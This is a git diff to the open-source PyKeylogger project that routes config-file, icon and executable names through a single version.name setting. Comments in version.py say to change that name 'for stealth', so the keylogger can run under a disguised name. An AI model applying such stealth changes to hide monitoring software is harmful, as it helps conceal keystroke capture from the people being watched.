diff --git a/controlpanel.py b/controlpanel.py
index 020a8b3..d104a67 100644
--- a/controlpanel.py
+++ b/controlpanel.py
@@ -98,7 +98,7 @@ class PyKeyloggerControlPanel:
textlabel = Label(self.root, text="PyKeylogger " + str(version.version), font=("arial", 12))
textlabel.pack()
- photo = PhotoImage(file="pykeyloggericon_big.gif")
+ photo = PhotoImage(file=version.name + "icon_big.gif")
imagelabel = Label(self.root, image=photo, height=160, width=200)
imagelabel.photo = photo
imagelabel.pack()
@@ -202,7 +202,7 @@ class Command:
if __name__ == '__main__':
# some simple testing code
- settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"practicepykeylogger.ini"}
+
class BlankKeylogger:
def stop(self):
pass
@@ -223,9 +223,9 @@ if __name__ == '__main__':
class BlankOptions:
def __init__(self):
- self.configfile="pykeylogger.ini"
- self.configval="pykeylogger.val"
+ self.configfile=version.name + ".ini"
+ self.configval=version.name + ".val"
klobject=BlankKeylogger()
cmdoptions=BlankOptions()
- myapp = PyKeyloggerControlPanel(cmdoptions, klobject)
\ No newline at end of file
+ myapp = PyKeyloggerControlPanel(cmdoptions, klobject)
diff --git a/keylogger.pyw b/keylogger.pyw
index 16ce56a..4b7ea8b 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -177,8 +177,8 @@ class KeyLogger:
parser.add_option("-v", "--configval", action="store", dest="configval", help="filename of the configuration validation file. [default: %default]")
parser.set_defaults(debug=False,
- configfile="pykeylogger.ini",
- configval="pykeylogger.val")
+ configfile=version.name + ".ini",
+ configval=version.name + ".val")
(self.cmdoptions, args) = parser.parse_args()
diff --git a/setup.py b/setup.py
index 05de225..dd03509 100644
--- a/setup.py
+++ b/setup.py
@@ -29,11 +29,11 @@ setup(
#~ options = {'py2exe': {'bundle_files': 1}},
#~ zipfile = None,
- data_files = [("",["pykeylogger.ini",
- "pykeylogger.val",
- "pykeyloggericon.ico",
- "pykeyloggericon.svg",
- "pykeyloggericon_big.gif",
+ data_files = [("",[version.name+".ini",
+ version.name+".val",
+ version.name+"icon.ico",
+ version.name+"icon.svg",
+ version.name+"icon_big.gif",
"CHANGELOG.TXT",
"LICENSE.txt",
"README.txt",
@@ -42,16 +42,16 @@ setup(
console = [
{
"script": "keylogger.pyw",
- "dest_base": "keylogger_debug",
- "icon_resources": [(0, "pykeyloggericon.ico")]
+ "dest_base": version.name+"_debug",
+ "icon_resources": [(0, version.name+"icon.ico")]
}
],
windows = [
{
"script": "keylogger.pyw",
- "dest_base": "keylogger",
- "icon_resources": [(0, "pykeyloggericon.ico")]
+ "dest_base": version.name,
+ "icon_resources": [(0, version.name+"icon.ico")]
}
],
)
diff --git a/version.py b/version.py
index 8130d60..f0f4860 100644
--- a/version.py
+++ b/version.py
@@ -1,9 +1,9 @@
-name = "pykeylogger"
-version = "1.0.2"
-description = "Simple Python Keylogger"
+name = "pykeylogger" # change this for stealth. you must also change the filenames of the .ini, .val, and the icon files and replace "pykeylogger" with what you put in here.
+version = "1.0.3"
+description = "Simple Python Keylogger" # change this for stealth
url = "http://pykeylogger.sourceforge.net"
license = "GPL"
author = "Daniel Folkinshteyn"
author_email = "nanotube@users.sf.net"
-platform = "Windows NT/2000/XP/Vista, Linux"
\ No newline at end of file
+platform = "Windows NT/2000/XP/Vista, Linux"